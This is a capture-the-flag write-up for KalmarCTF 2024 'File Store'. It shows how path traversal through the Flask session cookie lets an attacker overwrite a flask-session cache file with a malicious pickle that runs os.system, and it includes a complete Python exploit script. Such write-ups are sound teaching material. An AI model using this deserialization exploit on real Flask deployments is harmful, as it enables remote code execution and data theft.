Try   HackMD

KalmarCTF 2024 File Store

Writeup by r2uwu2

Upload your files on the Kalmar File Store and share them with your friends.

Challenge

We are given a relatively simple flask application.

We can upload an image by clicking Upload Image.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

We can then view the image by clicking on the image.

import os from flask import Flask, redirect, render_template, request, session from flask_session import Session SESSION_TYPE = "filesystem" MAX_CONTENT_LENGTH = 1024 * 1024 app = Flask(__name__) app.config.from_object(__name__) Session(app) @app.route("/", methods=["GET", "POST"]) def index(): path = f"static/uploads/{session.sid}" if request.method == "POST": f = request.files["file"] if ".." in f.filename: return "bad", 400 os.makedirs(path, exist_ok=True) f.save(path + "/" + f.filename) if not session.get("files"): session["files"] = [] session["files"].append(f.filename) return redirect("/") return render_template("index.html", path=path, files=session.get("files", [])) if __name__ == "__main__": app.run(host="0.0.0.0")

In this application, we have one endpoint to see all the files in our session and another endpoint to upload files to our session. Our flag is in /flag.txt and we must exfiltrate it.

Attempt 1: Failed SSTI RCE

The session id is the value of the session cookie in flask. It is well-known that in frameworks like flask, if we can write to the templates directory, we can perform a Server-Side Template Injection (SSTI) and achieve arbitrary code execution. I crafted a payload to send, but was met with an error:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Unfortunately, we are not able to craft a malicious template because our user does not have the permissions to do so.

FROM python:3.11-slim RUN python3 -m pip install flask flask-session gunicorn RUN useradd ctf COPY flag.txt /flag.txt WORKDIR /app COPY app.py . COPY templates/ templates/ COPY static/style.css static/ RUN mkdir -p static/uploads flask_session RUN chmod 777 static/uploads flask_session USER ctf CMD gunicorn --bind :5000 app:app

As declared in the Dockerfile, we run as the ctf user who only has write access to static/uploads and flask_session directories. static/uploads is where the images are uploaded and flask_session contains session information.

Attempt 2: Failed LFI via XXE

Since I am able to upload to static/uploads, I tried uploading an xml file to perform a local file inclusion via XXE. The first example in the link is a test for whether the server is vulnerable to XXE.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

If the server is vulnerable to an XXE, &example will be substituted with the ENTITY definition. This would indicate that we have the ability to read a file as we can set an entity to a file we want to read.

However, we get this reponse back:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Unfortunately for us, flask's xml handling does not expand out ENTITY so we will not be able to LFI.

Attempt 3: RCE via Session Overwriting

Other than static/uploads, we can overwrite all the flask_session/* session objects. I ran a bash shell in the docker to experiment around.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Looking around in the directory, we have a file for each session. The file name does not match the session id. Each session seems to be some form of serialized object. I decided to look at flask-session source code.

The filesystem session seems to use cachelib library as indicated by below code:

from cachelib.file import FileSystemCache self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)

Looking into cachelib code, the cache is fairly suspicious:

def get(self, key: str) -> _t.Any: filename = self._get_filename(key) try: with self._safe_stream_open(filename, "rb") as f: pickle_time = struct.unpack("I", f.read(4))[0] if pickle_time == 0 or pickle_time >= time(): return self.serializer.load(f) except FileNotFoundError: pass except (OSError, EOFError, struct.error): logging.warning( "Exception raised while handling cache file '%s'", filename, exc_info=True, ) return None

It seems like if we set the first 4 bytes of the filename to 0, it decides it's pickle time and unpickles the pickle (one can see explicit pickle calls in other files).

If we snoop around the cachelib codebase, we can see that the filename is generated by md5 hashing the key name. We can now overwrite arbitrary sessions.

Exploit (It's so Pickling Time)

It's pickling time woo.

Our overall flow looks like:

  1. Create a session owo by uploading a picture (let's make it a picture of alex typing for extra hacking powers)
  2. Set our session to ../../flask_session and upload a pickle with file name md5("owo") - the pickle copies /flag.txt to /app/static/uploads so we can read it later
  3. Send a request using session owo to load our malicious pickle
  4. Send a GET /static/uploads/flag.txt request and acquire the flag

The flag has now been captured

flag

import pickle import requests import io import os # sess = "Jfa72ikLQaW41AoNhhkCZvw1pVklvyLkch33oXo4Tz8" # base_url = "http://0.0.0.0:5000/" base_url = "https://0d268116a5f57f10e5aa63f3d1e31e82-46847.filestore.chal-kalmarc.tf/" url = lambda end: f"{base_url.rstrip('/')}{end}" sess = "owo" dummy = "alextype.png" sess_hash = "938b5b91ebed323d56c80104a075b57e" s = requests.Session() s.cookies["session"] = sess with open("/home/rbadhe/Pictures/alextype.png", "rb") as fin: r = s.get(url("/"), files={"file": fin}) print("Uploading image") print(r) print(r.text) # shell pickle time class Sh: def __reduce__(self): return (os.system, ("cp /flag* /app/static/uploads/flag.txt",)) s.cookies["session"] = f"../../flask_session" with open(sess_hash, "wb+") as fout: # need leading 4 bytes of 0 to tell flask-session that this is a pickle fout.write(bytes([0] * 4)) pickle.dump(Sh(), fout) with open(sess_hash, "rb") as fin: r = s.post(url("/"), files={"file": fin}) print("Uploading pickle") print(r) print(r.text) s.cookies["session"] = sess r = s.get(url("/")) print("Triggering pickle", r) r = s.get(url("/static/uploads/flag.txt")) print(r) print(r.text)